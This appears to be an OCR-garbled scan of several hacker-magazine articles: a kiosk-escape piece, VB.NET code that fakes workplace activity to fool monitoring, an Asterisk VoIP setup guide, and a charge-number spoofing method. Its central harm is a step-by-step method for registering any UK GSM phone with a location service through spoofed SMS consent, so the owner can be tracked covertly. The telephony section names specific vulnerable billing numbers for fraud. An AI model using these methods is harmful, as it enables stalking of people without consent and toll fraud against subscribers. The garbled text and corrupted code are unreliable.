then la unch  Internet Exp lorer. From he re you ca n unsuccessfu L _ I wi ll be resea rch i ng  this fu rthe r. )  
u s e  the  on screen keyboard t o  access you r  favorite Conclusion 
sites ( 2600 .com,  page33 .tk, etc . ) .  Now wasn't Secu rity th rough  obscurity is not secure!  I 
that stu pi d Ly easy? You cou Ld a lso,  of course, ca n 't teLL  you how many a rti cles I have read con -
b rowse the  h a rd d rive of  the  system eithe r  from 

cerni ng  touch -screen kiosks that have these IE o r  My Computer (that's ri g ht, it's wide  ope n ) .  
s ame  ki nds  o f  secu rity flaws . Wi ndows XP  i s  capa-There may be things of i nterest such as user 

gu ides, but fo r the  sa ke of conspi ra cy (this i s  b Le of p reventi ng  these ki nd  of p rob Lems (i . e . ,  re-

specuLati on ,  but you never know . . .  ) si n ce this i s  a movi ng  on screen keyboa rd from the  sta rt menu ,  

machi ne  t hat  p rocesses credit ca rd transactions ,  locki ng  down My Computer, etc . )  from happen-

there cou Ld possi b Ly be Logs of these tra nsacti on s  i n g .  I h esitate to caLL th ese attacks because we  

sto red Loca LLy on t h i s  PC  and ,  as we have demon- a re j ust worki ng  with the  tooLs we a re given .  In  

strated ,  vi rtua Lly nothi ng  to  p revent someone  fact, I'm n ot s u re that fi ndi n g  th ese co mmon  

fro m emai li n g  fi les from t h i s  machi n e  (usi n g  flaws couLd even be considered "hacki ng ," b u t  I 

gma i l, hotmai l, or the  Li ke) to h im/he rself or to do know that thi n ki n g  about obvious  ri sks ,  creat-

someone e Lse. ing theories ,  and testi ng  ideas does a LLow some-

Which b ri ngs  me to a nother  point. He re we one  to be conside red a hacker. 

have a machi ne  that has  co mpLete http access to Companies need to be more d i Ligent i n  secu r-
the  Inte rnet. Somethi ng  else I have noti ced i n g  machi nes that p rocess sen sitive i nformati on  
about the Red  Box  i s  t hat  most of  the  software befo re Leavi ng  them i n  a pub Lic  p lace ,  a llowi ng  
mai ntenance i s  done  remote Ly via the Internet, pub Li c  access, a nd  trusti ng  everyon e  not to be 
cou rtesy of XP's rem ote admi nistration  featu re curious  about a big red sh i ny box. 
(which as fa r as I ca n see i s  a lways enab led si nce Thanks to: Xmitman, nS_Sire. Greetings to: 
there isn 't usua LLy a tech nici an  a nywhere a round  briggs, car/os, joe, nat, rebecca, juan, and the 
when this maintenance is bei n g  performed .  So rest of the Dayton McDonald's night shift! 
------------------------------------� 

Punking the Watchers 
by BojangLes 

cougar.sla�T@gmaiL.com 
never had a rea L

' J"ob befo re 9/11  so I was 
caught  off gua rd by h ow para noid  peopLe i n  cor­
po rate Ameri ca have become  about secu rity. 
What has  a Lways i rked me about this secu rity i s  
that  you know its  p resen ce, but never a re the  de­
tai ls disclosed to you .  Asi de from the  em pty 
th reat from H R  th at I am persona LLy responsi b Le 
fo r a ny outsi de softwa re I i n staLL, they assu me  

that the impotent secu rity guards a n  wo less 
e lectron ic  badge system have put the fea r  of God 
i nto me. Ha rd ly. 

A whi Le ago I received a text message remind­
i n g  me that  I am  requ i red to  Log  out of my ma­
chi n e. They knew I had  not logged out  because 
my status i n  Wi ndows Messenger  was Away and 
not Offli n e .  In fai r ness, my company i s  reason­
ab ly cool and  has  better thi ngs  to do than  baby­
sit its empLoyees. But I Lea rned that they use 
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Windows Messenger as a way of snoopi n g. It's rel­
atively benign this ti me, b ut what about in the  
futu re? What e lse is  bei ng  snooped that  they 
a ren 't telli n g  me? 

In li g ht of this occurrence I decided to de­
velop somethi ng  I cou ld use to man ipu late the 
people watchi ng  me, whoever they a re. As usua l, 
I 'm not responsi b le fo r bad perfo rmance reviews, 
getti ng  you r  ass fi red, o r  a ny lega l  a ction  as a re­
su lt of this program.  The code is VBnet, b ut cou ld 
easi ly be po rted to a nother  la nguage that sup­
po rts COM objects and  can bu i ld a Wi ndows Forms 
app  if you don 't have Visua l  Studio o r  fo r some 
reason you can 't i n stall the  .Net Framework 
(which i ncludes free command  li ne  compi lers fo r 
VB, C#, J#, a n d  J-scri pt). 

Fi rst, let's loo k  at the  Wi n dows Form ( Fig.  1 )  
associated with this app. O n ly one  value is  ac­
cepted, which is a n u m ber that becomes a n um­
be r  o f  min utes. The Go button sta rts everyth ing.  
Noti ce the  properties of this fo rm ( Fig.  2 ) .  The 
maxi mize box i s  not enab led. This prevents a 
c lumsy user from a ccidenta lly fi lli n g  the screen 
with this wi ndow j ust as the boss walks by. By 
setti ng  S howInTaskbar  to Fa lse, this p rogra m  
very easi ly becomes i nvi si b le. Min i mize t h e  pro­
gram usi ng  the  app rop riate wi ndow control a nd  
the app  wi ll sti l l  run  b u t  disappea r  ( n ea rly) com­
p letely. Alternatively, the  sma ll wi ndow cou ld 
easi ly be h idden by a la rger one. 

Now let's get i nto the code, sta rti ng  from the 
top. System.Math is  n ecessa ry fo r ra ndom num­
bers. T he  first Private statement i s  a decla ration  
of  the ExitWi ndowsEx fun cti on  from the user32 li ­
b ra ry (a system li brary) which is what fo rces Wi n ­
dows to  l og  off (mo re o n  th i s  later). Next is  t he  
decla ration  of the  S leep sub routi n e  from the ker­
ne l3 2  li b ra ry, a n other  system li b ra ry. This is used 
to tell the  progra m  to wait fo r a specified n u m ber 
of mi lliseconds. The S leep sub routi n e  is  usefu l 
because it avoids  the  Ti mer  contro l avai la b le i n  
fo rm design ,  which i s  o n ly g o o d  for about a 
m inute a nyway. Next is the  i n stantiation  of the 
Wi ndows M essenger API. Before this wi ll work, 
you must add a reference to Wi ndows Messenger, 
which is easy i n  Vi sua l  Studio. Go to the Project 
menu  then Add Referen ce. Next, c li ck  b rowse a nd  
navigate t o  msmsgs.exe ( s hou ld be c:\Progra m 
Fi les\Messenger)  a nd  the n ecessa ry reference is  
now i n cluded i n  you r  p roject! This ca n be done  
fo r a ny d ll, tlb, o lb, ocx, o r  exe fi le, so if you  
need to  customize th i s  fo r you r  own  app  try 
add ing  it as a reference to a Visua l  Studio p roject 
a n d  use the Object B rowser to see what methods 
a re avai la ble !  

Next, the  Enum which h a nd les the fou r  differ­
ent types of exiti n g  Wi n dows. Logoff does j u st 
that, h owever other p rog ra ms  a re a llowed to 

i nterrupt the p rocess. If you 've ever seen the an ­
noyi n g  " Program X is  n ot respond ing  ... End  Now 
o r  Ca n cel" box, t h i s  is  a progra m i nterruption.  
S h utdown a nd  Resta rt ... what  do  you  thi n k  they 
do? The one  we'l l be usi n g  is Fo rceLogoff. This 
logs  the  user out rega rd less of what other  p ro­
grams n eed done. So make su re you saved every­
th ing.  

Fig. 1 
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Fig. 2 

Cli cki n g  Go sets everythi ng  i n  motion.  After 
the  decla rations, the fi rst thi n g  we need to do i s  
get a n  i n stance of the  M essenger API, which i s  
done  with the New statement. Cursor  positi on  i s  
i niti a lized and  IsNumeri c  is  used  fo r e r ro r  check­
i n g. If the value is  n ume ri c, it retu rns true. Next, 
the  ti me  at which to log off (goTime)  is set after 
passi ng  the error checki n g. 

The loop is the g uts of the  code. Based on the 
seconds  i n  the cu rrent time, the  cursor  moves 
a round  a ra nge of 640x480, set as such fo r even 
the lowest reso lution  so an out of bounds  wi ll 
n ever occur. Note that a ra nge  can be specified 
from the .Next method of the ra ndom n u m ber  
vari ab le. Then the progra m  wi ll s leep fo r two sec­
o nds. The cursor movement i s  j ust i n  case they 
track  user a ctivity. The s leep is less trivi a l  be­
cause it varies p rocessor  activity. This is  usefu l 
fo r givi n g  the  appeara n ce of a batch job runn ing ,  
j ust i n  case  they wou ld check p rocessor  activity. 
Next, the  status of Wi ndows Messenger is man ip­
u lated based on the min ute of the system ti me. 
This serves to give the  appeara n ce of no rma l  
modu lation  of status. True, th i s  i s  fo rmu laic, b ut 
there's much  more that cou ld be done  here. Ran ­
dom n u m bers p rovide  a wea lth o f  possi bi lities 

P a 9 f!! 1 "  --------------------r E. D O n a 9 a z i n  f!! 



th roughout the program ,  so get creative ! I exper­
imented with comparing two ra ndom n u m bers 
a nd  cha nging the  status when a match occu r red . 
O n  a 1 . 5  G H z  machine a ra nge  of one  billi on  ra n ­
dom num bers gave a suitab le d u rati o n .  Experi ­
ment on  you r  own machin e, but  be mindfu l  that 
too sma ll a ra nge and the status will change a 
h u n d red times a second ,  too la rge a ra nge  a n d  
t h e  status will n ever change .  

Option Explicit On 
Imports System.Math 

Public Class Forml 
Inherits System. windows. Forms. Form 

Fi na lly, if the  goTime is equa l  to o r  g reater 
than sysTime, Windows is fo rced to log off. No  
one  i s  the wiser, a nd  to  the remote observer i t  
appears as t hough  you 've been  worki n g  h a rd !  
Usefu l  when you want t h e  afternoon off o r  when 
you want the  boss to thin k you're worki n g  h a rd 
fo r that big promotio n !  

Shoutz: Dogpatch, Daniel Cooper, f@t@$$, 
Mother Puelo, 200lx. 

Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As 
-Long 

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) 
Private WithEvents WinMsg As MessengerAPI.Messenger 

Private Enum WindowsExitFlags 
Logoff = 0 
Shutdown = 1 
Reboot = 2 
ForceLogoff = 4 

End Enum 

Private Sub btnGo_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnGo.Click 
Dim time As Integer 
Dim checkTime As Boolean 
Dim sysTime As Date = DateTime.Now 
Dim goTime As Date = DateTime.Now 
Dim position As Point 
Dim rand As New Random(CInt(Now.Ticks And Integer.MaxValue» 
Dim randPos As Integer 

WinMsg = New MessengerAPI.Messenger 
position = Cursor.position() 
checkTime = IsNumeric (txtVal. Text) 

If (checkTime = True) Then 

Else 

If (txt Val. Text > 0) Then 
time = txtval. Text 

Else 
gOTirne = Now.AddMinutes(tirne) 

MessageBox. Show( "Value must be > O. Try again.") 
txtVal.Clear( ) 
Exit Sub 

End If 

MessageBox. Show( "value must be numeric. Try again.") 
txtVal. Clear ( ) 
Exit Sub 

End If 

Do Until goTime = sysTime 
sysTime = DateTime.Now 

Select Case sysTime. Second 
Case 15, 59 

randPos = rand. Next (0, 640) 
position.X = randPos 
Cursor. position = position 
Sleep( 2000) 

Case 30, 45 
randPos = rand.Next(O, 480) 
position.Y = randPos 
Cursor. position = position 
Sleep( 2000) 

End Select 

Select Case sysTime.Minute 
Case 8, 26, 39, 46 

WinMsg .MyStatus = MessengerAPI .MISTATUS .MISTATUS_ONLINE 
Case 6, 23, 36, 44 

WinMsg .MyStatus MessengerAPI .MISTATUS .MISTATUS_AWAY 
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Loop 

Sub 

End Se 1 ect 

If goTime < =  sys'l'ime 'fhen 

Exi tWindowsEx (WindowsExi tFlags. ForceLogoff, 0&) 

End If 

wi ndows Form Designer generated code 

Sub New() 

MyBase. New ( ) 

'This call is required by the Windows Form Designer. 

Ini tializeComponent ( ) 

'Add any initialization after the InitializeComponent.() call 

Sub 

'Porm overrides dispose Lo cLean up the component jist. 

OverJoads Overr"ides Sub Dispose(ByVal disposing As Boolean) 

If disposing 'l'hcn 

If Not (components Is Nolhing) Then 

componenLs. Dispose ( ) 

End If 

End If 

MyBase. D i spose( di sposj ng) 

Sub 

'Required by lhe Windows Form Designer 

componellts As System. ComponentModel. lCont_aj nel" 

'NOTE: 'I'he followi.ng procedure is required by t.he Windows Porm Designer 

'It can be modified using the Windmvs Form Designer. 

'Do nol modify it Llsing lhe code editor. 

bLnGo As System.W:indows.Forms.But_ton 

txl Va 1 As System. W j ndows. f'orms. TextBox 

» Private Sub InitializeComponent() 

Dim resources As System .l{e::;ourcc:;. He:;ourceManaqc.!r = New System. Resources. ResourceMc:tnager 

-(C-;et Type (Forml) ) 

He. btnGo New Syslem. Windows. ["orms. But l on 

He.LxLVaJ New Sy::;l(crn.Windows.Forms.Text[\ox 

Mr-_' . . C;uspelldLayout ( ) 

, blnGo 

He.blnGo.Location New System.Drawing.Point(88, 5) 

He.bLnGo.Name � "bLnGo" 

Me.btIlGo.Sj;-.e = Ne\v System.Drawing.Size(7S, 74) 
1'1e.bt_nGo.'I'ablndex = 0 

i'1e.bt_nGo.'J'ey.t = "Go" 

'txlVal 

Me.lxlVal.Location New System.DrcH"ing.Point_(8, 8) 

Me.lxtVal.Name -= "txtVal" 

Me.txt_Val.Size = New System.DrawJng.Size(70, 20) 

1"le. txtVal. TabIndex = 1 

Me. txtVal. Texl 

, Forrnl 

r'le.AutoScoleOaseSize --=- New SysteIll.Drdwing.Size("l, 13) 
r�p. Cl if�nt_S j ze = New System. J)rawin�l. sj ze ( 1 F!, 3"7) 
Be. Controls. Add (Me. txtVal) 

Me. Controls. Add (Me. btnGo) 

Me. Icon CTypc (resou ["ces. Ge LOb-jcct ( "$l his. Icun" ), System. DrilW j ng. rcon) 

He.Location New System.Drc:n·Jing.Point(150, 150) 

Me.MaximizeDox - False 

Me. Name =- "Form}" 

Me. ShowInTaskbar = False 

Me. StartPosition Sys tem. WindovlS. I"orms. I"ormSLar LPos it ion. CenlerScrepn 

He. RCtillmeLayollL (Fdl!:,c) 

Sub 



�-----------------------------------

tll*ao�i the;user's consent) I . _  

j.pamplin@gmail.com 
As a resu lt of imp rovements in mobi le p hone  

cell techno logy, UK mob i le phone  companies 
have fo r the past two yea rs been ab le to sel l  
tra nsmitter data to o n li n e  mobi le p hone  location  
servi ces wh i ch  enab le them to  tri a ngu late to 
withi n 100 yards the location  of a given mobi le 
GSM phone. This tech no logy was i n  the news re­
cently when the po li ce tracked one  of the London  
Bom bers across Eu rope to  his b rother 's h o use i n  
Ita ly where he  was a r rested. 

In order to be ab le to track a mob i le p hone  
a nd  comply with the Data Protection  Laws, mo ­
bi le location  servi ces have to  p rove t ha t  t he  
p hone  owner  has  given thei r  consent to  be  
tracked. They do th i s  by sendi ng  a n  SMS to  the  
p hone's te lephone  n u m be r  req uesti n g  a rep ly to 
the  effect that you ag ree fo r the p hone  to be 
tracked. The majo rity of the phone location  ser­
vices o n ly do this o n ce to regi ster  the p hone  a nd  
t h en  it  ca n be tracked at a ny ti me  without fu rther 
SMS a lerts to the p hone. 

This is a ll very well if you have access to the 
mob i le phone to rep ly to the SMS agreei n g  to be  
tracked but  that's  n o  use if the  p hone  is i n  the 
hands of someone e lse. Anyway it ' s  not much  fu n 
tracki n g  you r  own phone. 

What  I a m  about  to descri be  is a way a rou nd  
this system which wi ll a llow you  t o  track a ny UK  
GSM  phone  without  t h e  owner 's consent on  the 
fo llowi ng  UK netwo rks. T-Mobi le, O ra nge, 02 ,  and 
Vodap hone. 

To begi n with you need to set u p  an account  
with one  of  the mobi le p hone  location  servi ces. I 
have chosen fo r this a rti cle http ://www.fleeton­
li ne.  n et si mp ly beca use i t  offers a pay as you go  
servi ce and  does  not cha rge you  extra to  add  dif­
ferent phones as many of the othe rs companies 
do. 

I wou ld suggest as a username  you use some­
thi ng  si lly li ke "sexygi rls4u" or "time2buya new­
phone" as the target p hone  wi ll receive an SMS 
with you r  username  i n  the begi n ni n g  and  if it 's 
daft they wi ll j ust assu me  it's j ust a nother j u n k  
SMS. You wi ll a lso need t o  credit t h e  account  wi th 
10 Briti s h  pounds. 

Now set up  a n  account  with one of the many 
fa ke SMS sites I've used ( h ttp ://www.sha rp 

messages from a n u m ber. 
Now you ' re ready to register you r  target's mo­

bi le phone with fleeton li ne. Logi n to  you r  flee­
ton li n e  account, go to admi n ,  a n d  add a new 
member. Enter a ny name and  the  mob i le p hone  
n u m ber  you  wan t  t o  track. 

The reci pient  wi ll get a message li ke this. You 
ca n see the m essage i n  the sent messages fo lder  
with in  fleet o n li n e. 

"BuyANewPhone  07354654323345 wa nts to 
locate you r  mob i le from now on usi ng  FleetOn­
li ne. Text 'T2Y' to  00447950081259 to ag ree." 

The i m portant  thi ng  he re is the reply tele­
phone  n u m ber  00447950081259 a nd  the text 
"T2Y". 

The rep ly n u m ber is a lways the same but  occa­
si ona lly the txt chan ges to "T2YXDT". You ca n te ll 
if this i s  the case as you wi ll see "******" i n stead 
of "T2Y" in the sent messages fo lde r  of fleeton­
li n e. 

Now go to you r  s ha rpmai l  account  a nd  send a 
fa ke SMS from the p hone  n u m ber  you wa nt  to 
tra ck to 00447950081259 with the  text "T2Y". 

Withi n a few min utes you r  fleeto n li n e  account  
wi ll have registered that  phone  n u m ber  a nd  you 
wi ll be a b le to track it  to withi n 100 yards super­
i mposed onto a detai led street map  usi n g  flee­
ton li ne ,  a ll without the mobi le p hone  user's 
consent. 

If you have p rob lems with the "T2Y" o r  
"T2YXDT" j ust attempt to  register a ra ndom tele­
phone  n u m ber  fi rst. Then register the o ne  you 
want to track a nd  the rep ly code s hou ld a lways be 
"T2Y". There is no  cha rge fo r addi n g  new n u m bers 
usi ng  fleeton li n e  so feel  free to experi m ent. 

This wi ll work with many of the other mob i le 
p hone  locati o n  servi ces and  fa ke SMS servi ces. 
J ust use goog le to fi nd  an a lternative if these let 
you down. 

If you ' re concerned about bei ng  tracked usi ng  
t h i s  method ,  use a Vi rgi n S IM ca rd as t h i s  is t he  
o n ly UK netwo rk n ot to  provi de tracki ng  i nfo rma­
ti on  to the  mobi le location  services at p resent. 
Although  the current 3G services don ' t  do it ei­
ther, the fa ct that thei r  handsets contai n GPS 
suggests that they wi ll be doi n g  it  soo n !  

Shouts to Nemma, Lynxtec, Service Tee, and 
4Mat. 
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r o d u c t i o n  
by zeitgeist 

Recently I got the  chance to work with  the  As­
teri sk  software. Asteri sk  is  an open sou rce PBX 
( p rivate branch  exchange) which is  ki nda  Li ke a 
Swiss army knife if you want to offer VoIP  or tra­
diti ona L  teLephony servi ces o r  if you wa nt to make 
a b ridge  between them .  

In th i s  a rti cle I want  to give a q uick  overview 
on  the ca pabi Lities of the softwa re a nd  h eLp you 
set up  you r  own Asterisk server pu reLy fo r VoI P  
(SIP p rotoco L) . Connecti ng  the  PSTN t o  the  Aster­
isk box is  beyond  the scope of this a rti c le but is 
a lso  n ot too difficu Lt once you unde rsta nd  the  
concept. The Lea rni ng  cu rve fo r this softwa re i s  
very steep .  Cons ide r  th i s  as a sma LL " Lift. " The 
softwa re i s  avai La b Le fo r Li n ux, * BSD,  and as X, I 
have a Lso seen some imp Lementation  fo r Wi n 3 2  
b u t  I wi LL sti ck  with teLLi n g  y o u  h ow t o  get i t  to 
work unde r  Li nux  (any recent distri b ution  s hou Ld 
be fi n e  on a ny standa rd Pc. I even got it to work 
on  a 400MHz  th in  c lient booti n g  from USB mem­
o ry) . 

After you have successfu lly i n sta lled the  soft­
wa re eithe r  from compi li n g  it from 
http://www.asteri sk .o rg or from you r  favorite 
package management, go a h ead  a nd  start the  
software issui ng  the  command  "asteri sk  -vvvvvc" 
as root. This s hou Ld sta rt Aste ri sk  i n  a p retty ver­
bose mode  a n d  - if everythi n g  went weLL - d ro p  
you i nto the  Aste ri sk  command  Li n e  i nterface 
(CU) . 

From the  C LI you ca n do some admi nistrative 
stuff. Typi ng  " h eLp" a Lways he Lps .  Typi ng  " h eLp 
si p "  as an exa mp Le gives you a LL the avai La b Le 
he Lp topics fo r SIP. If everythi n g  started fi n e, 
exit the  C LI by typi ng  "stop n ow" which a Lso ha Lts 
Asteri sk .  

Most of the  magic happens  because of the  
confi gu ration  fi Les which can usua LLy be fou nd  
u n de r  /etc/asteri sk/.  T h e  most i mportant ones 
that we a re goi n g  to Loo k  i nto fo r this a rti c le a re 
si p . conf  a n d  extensi on . conf, both of them clut­
tered up with a Lot of examp Les which a re worth 

readi ng ,  but unsuitab Le fo r begi n n ers to u n de r­
sta nd .  

Some Theory 
Asteri s k  o rganizes its extensions  in so-ca lled 

contexts, assuming  there i s  a context "foo"  a n d  
a nother  context "ba r" which both have exten ­
si on s  assi g ned to them .  Each  extension  is  a soft­
phone, h a rdphone, or maybe an a n noun cement 
o r  a ny othe r  app Li cati on  that Asteri sk  p rovides .  

Each of the  extensions  i s  a b Le to ca L L  othe r  ex­
tensions  in its context. however it i s  by defa u Lt 
n ot a LLowed to caLL from one  context i nto a n ­
othe r. This ca n however be a rchived when  i n clud­
ing one context i nto a n other. Through  this 
i nclusi on  one can create a type of h ierarchy 
( "foo"  i n cludes "bar"  but "ba r" doesn 't i n clude 
"foo"  so o n Ly the  extensions  from "foo"  a re a L­
Lowed to caLL extensions  i n  "ba r" but n ot the  
othe r  way a roun d ) .  

Each extension  i n  a context is  a Lways defi n ed 
by a n umbe r  o r  a n  exp ression  that evaLuates 
n u m bers.  Mo re on this Later. Bear  this LittLe the­
o ry i n  m ind  but no need to memorize it. 

Setti ng  Up SIP Accounts 
Now we wou Ld Li ke to set up some SIP a c­

counts fo r ou r  Asterisk i n sta LLati o n .  You s hou Ld 
have at Least one  SIP softphone  avai lab Le to try 
out you r  configu rati o n .  X- Lite is  a softphone  
avai lab Le fo r Wi n32 ,  Li n ux, and  as X, so you  ca n 
grab a copy of it. 

In the si p . conf  confi gu ration  fi le, c reate a n  
entry fo r each o f  you r  S I P  p hones that Loo k  Li ke 
the fo LLowi ng  ( note that fo r each i n divi dua L  SIP 
h a rd- a nd  softphone, these setti ngs  need to be 
adju sted as  the phones support different thi ng s ) :  
<code> 

[ xl i t e ]  

u s ern ame=8 0 8 1  

type=friend 

secre t = 1 2 3  

qua l i fy=n o 

n a t =n o  

h o s t =dyn ami c 
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dtmfmode=rfc 2 8 3 3  

ca l l erid= "X-Li t e " <8 0 8 1 >  

</code> 

Now you have set up a SIP account  with user­
name  8081 a n d  password 1 2 3 .  We wi ll n ot worry 
about the  rest of this fi le fo r n ow, a lthough  make 
su re that you have at least the  " [genera l] " sec­
tio n  of that fi le from the defa u lt confi g u rati o n  
that comes with the Asteri s k  i n sta llati o n .  

A d d  as  many S I P  accounts as y o u  wa nt (you 
s hou ld add at least two so that they can ca ll each 
other) . 

Sta rt Asteri s k  agai n a n d  ma ke su re that the  
com m a n d  "si p  s how peers" s hows a ll the  accounts 
that you have set up in the config fi le . 

Now set up you r  X- Lite softphone  to con nect 
to you r  Asteri s k  server (System Setti ngs  -> SIP 
Proxy -> Defa u lt -> Enab led :  Yes, Username :  
8081 ,  Autho rizati o n  User :  8081 ,  Passwo rd : 123 ,  
Domain/Rea lm : I P, SIP Proxy: I P, Out Bound  
Proxy: I P, Register: Defa u lt) where I P  i s  the  I P  of  
you r  Asteri s k  server (ca n  a lso be 127.0 . 0 . 1 ) .  Ma ke 
su re that X-Lite logs i nto you r  server. Watch the  
Asteri s k  C LI a n d  type aga in  "si p  s how peers" 
which s hou ld s how you the IP  add ress of the  X­
Lite p hone(s) . 

Make Your First Call 
If you haven 't touched the exten si on s . conf  

fi le yet, go a h ead  a n d  ca ll the n umber  1000 from 
you r  softphone .  This gives you a menu  that the  
defa u lt confi gu ration  of Asteri s k  supp li es fo r 
you .  If everyth ing  worked so fa r, you wi ll hear  a 
fri end ly g reeti ng  a n d  you can p lay a round  with 
the menu .  You wi ll see a lot of output on the C LI 
beca use we sta rted Asteri s k  i n  such a verbose 
mode .  

Creating Extensions 
Most of Asteri s k' s  magic happens  in the ex­

ten sion s . conf  confi gu ration  fi le. Make a backup 
copy of it if  you want to p reserve the  n ice menu  
that you  have j ust dia led i n ,  otherwise de lete 
everyth ing  out of there, except fo r the  " [gen­
era l] " a n d  " [g loba ls] " sections .  Each of th ese 
b locks that sta rt with " [somename] " a re the con­
texts I menti o ned ea rli e r. The context " [ defa u lt] " 
s hou ld a lso a lways be there. This is where Aster­
isk sta rts to look .  Create an extension  in the "de­
fau lt" context by i nserti n g  somethi ng  li ke th is :  
<code> 

[ genera l ] 

exten => 8 0 8 1 , I , Ri n gi n g ( ) 

exten => 

8 0 8 1 , 2 , Di a l  ( SIP/xl i t e ,  4 5 , m ) 

ext en => 8 0 8 1 , 3 , Con ges t i on 

</code> 

What we a re doi n g  here is creati ng  the  exten­
si o n  "8081 . "  I f  Asteri s k  detects that  someone has  
dia led the extens ion 8081 i n  the context "de-

fau lt, " this b lock  wi ll get executed .  The fi rst n um­
be r  i s  a lways the  exten sion ,  t h e n  comes a n um­
be r  that i dentifies i n  which o rder  the  statements 
for this extens ion s hou ld be eva luated a n d  exe­
cuted . 

This is what Asteri s k  does:  
1 .  Generate some ri ng ing  for the  ca ller. 
2 .  Execute the  Dia lO function  with some para­

meters . These para m eters a re a lways i n  the  fo rm 
of PROTOCO LL/NAM E,TIM EOUT,O PTIONS .  H ere the 
p rotocol i s  SIP a n d  the NAME i s  the value of the 
b lock that we have identifi ed in the  si p . conf  fi le. 
H ere this b lock  i s  ca lled "xlite" ( compa re with 
si p . conf) .  The other options  mean that Asteri s k  
wi ll t ry  to con nect the  ca l l  fo r 45 seconds  a nd  
p lay some musi c  fo r the  ca ller whi le doi n g  s o .  
When  the  SIP/xlite phone  picks up ,  the  ca ll i s  
routed from the ca ller to the SIP phone bei n g  
ca lled . 

Save the  fi le a nd  sta rt Asteri s k  agai n .  O n  the 
C LI execute the  "show dialpla n "  com m a n d .  Th is  
wi ll s how you the  extens ions that a re avai la b le .  If 
you have a second  softphone  confi gu red with As­
teri sk ,  d ia l  the  "8081 "  extensi on  from that one  
and  the fi rst softp hone  shou ld ri n g .  I f  you  have 
n ot set up a second  softphone  you ca n d ia l  from 
the C LI :  "dia l 8081@defau lt" which s hou ld a lso 
let the  softphone  ri n g  (type " h angup "  to hang  
up ) .  

Where To  Go  From Here? 
You r  n ext step s hou ld be to fam i li a rize you r­

self with the  avai la b le app li cations  that come 
with Asteri s k  and that can be ca lled from the di­
a lp la n .  There i s  fo r exa mp le a n  M P3 p layer that 
p lays M P3s  to the  ca ller. There i s  the  very neat 
voi cemai l app li cation  which gives you you r  own 
person a lized voi cemai l and de livers the voice­
mai ls to you via emai l. You can create menus  such 
as the exa mp le menu,  you can create conference 
rooms,  etc. Another step would be to con nect 
you r  Asteri s k  server with a SIP or lAX service from 
the Internet so you ca n start ca lli n g  other  people 
and  a lso be reachab le via a regu la r  p hone  n u mber  
from the PSTN (j ust search fo r VoIP p rovi der) . You 
ca n a lso con nect the  PSTN di rectly to you r  Aster­
i s k  server usi n g  IS DN  o r  ana log phone  li nes .  Fo r 
this ,  however, some speci a l  ha rdwa re is n eeded .  

An impo rtant site to look  for tutori a ls a nd  
confi gu ration  exa mp les i s  http ://www.voi p­
-i nfo . o rg .  

Check m y  site (http ://www.geisterstun 
-de .o rg )  fo r some Asteri s k  hacks .  

G reeti ng s  to dodoex, macglove, beatle, a lbeu, 
poeggi , everyone  else on  dotsec, a nd  to the  CCC 
machackers . 
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by greyarea 
greyarea@phreaksandgeeks.com 

This has been controversia l  to people who un ­
dersta n d  the  who le con cept of Cal li n g  Pa rty Num­
ber  ( CPN )  a nd  Automati c  N u m ber  Identification  
(ANI) . I f  you don 't know the differen ce between 
the two, I ca n give a n  examp le to c lea r it up  fo r 
you :  

1 .  Peter ca lls my  phone  a nd  I have i t  fo r­
warded to Doug .  Si n ce Peter is the  Cal li n g  Pa rty 
N u m ber, that will generate the  Ca ller ID to Doug 
a nd  Peter's n u mber  wi ll s how up  o n  Doug ' s  Ca lle r 
ID d isp lay. 

2. Peter ca lls my phone  a nd  I have it fo r­
warded to N PA-555-1 2 1 2 .  Even though  he 's  the 
Ca lli n g  Pa rty N u mber, Di recto ry Assi stan ce wi ll 
see my n u m ber because I 'm the ANI. I o rig inated 
the ca ll to Di recto ry Assista n ce a nd  they wi ll bil l  
me. In each cal l  Peter's ANI  stopped at me  and I 
became  the ANI  fo r both calls . But Peter re­
mained the Calli n g  Pa rty N u m ber. Got it? O K, let's 
move o n .  

The re i s  p roof that you can a ctua lly change 
the  Cha rge n u m ber when spoofi n g .  But it doesn 't 
rea lly change  the ANI,  j ust the Cha rge n u m ber. 
There a re two different methods I 'm goi n g  to ta lk 
about. 

When you use the servi ces of VoIP p roviders, 
the  maj o rity of them wi ll let you choose you r  CPN 
(which as you know generates you r  Ca ller I D ) .  
That's n ot the ANI  t hough  beca use the  ca ll di d n 't 
o rig i nate from the n u mber  you chose .  Some of 
them wi ll set a ten digit n on-bi llab le n u m ber as 
you r  ANI  so you can 't cha rge someone else's 
p hone  with it and some of them wi ll simp ly pass 
a n  ANIFAIL beh ind  you r  CPN. An ANIFAIL is j ust a 
th ree digit a rea code that the  cal l  was homed out 
of. 

There was an ANAC out there that read ANI i n ­
stead of CPN a nd  happened to  be on  the sa me  
backbone  p rovider  that one  of my VoIP p roviders 
used . The n u m ber  was 1-800-862-462 2 .  (They 
noti ced what I was testi n g  a nd  sent the D NIS to a 
VRU so it doesn 't work a nymore . ) AT&T was the 
backbone  p rovi der. I cou ld n ever spoof to this .  I 
put together  the theory that if you cross p lat­
fo rms  (AT&T to Qwest) passi n g  an ANIFAIL as the 
ANI  and setti ng  you r  CPN,  the  receivi ng  systems 
wiLL recognize you r  n u m ber  as  the  ANI .  But they 

don 't because the ANI is sti ll the  th ree digit N PA 
the cal l  was homed out of. B ut you r  CPN does be­
come the Cha rge n u m ber  if the  n u m ber  i s  a 
c ha rgeab le one  without restri cti on s  on the li ne .  
So si n ce my p rovider  uses  AT&T, I have to  ca l l  a 
Qwest n u m ber. 

Some  Qwest servi ces that a re vulnerab le i n ­
clude t h e  fo llowi ng .  1-866-YOU-TELL :  Ca n spoof 
passi ng  a ny ANIFAIL and a va li d  CPN that i s  
c ha rgeab le to  ca ll domesti ca lly a n d  i nte rnation ­
a lly. 1-800-888-7060 a nd  1-888-700-0400:  Both 
these n u m bers a re the sa me  thi n g .  They used to 
bill the CPN anyway but they recently fixed th at. 
But they sti ll di d n 't fix the p rob lem when it ca me  
to  spoofi n g  the  Cha rge n u m ber. They o n ly fix i t  
when people a re spoofi n g  Caller I D .  These wi ll 
o n ly a llow you to ca ll domesti ca lly a nd  wi ll bi l l  
the  (bi l la bLe) CPN  you spoofed to it from the 
crossi ng  p latforms method .  To ca ll i nternation ­
a lly off these you  have to  use a n other  method :  
matchi ng  a n  ANIFAIL's N PA to the N PA of the 
Cha rge n u m ber. Th is  method you cou ld even 
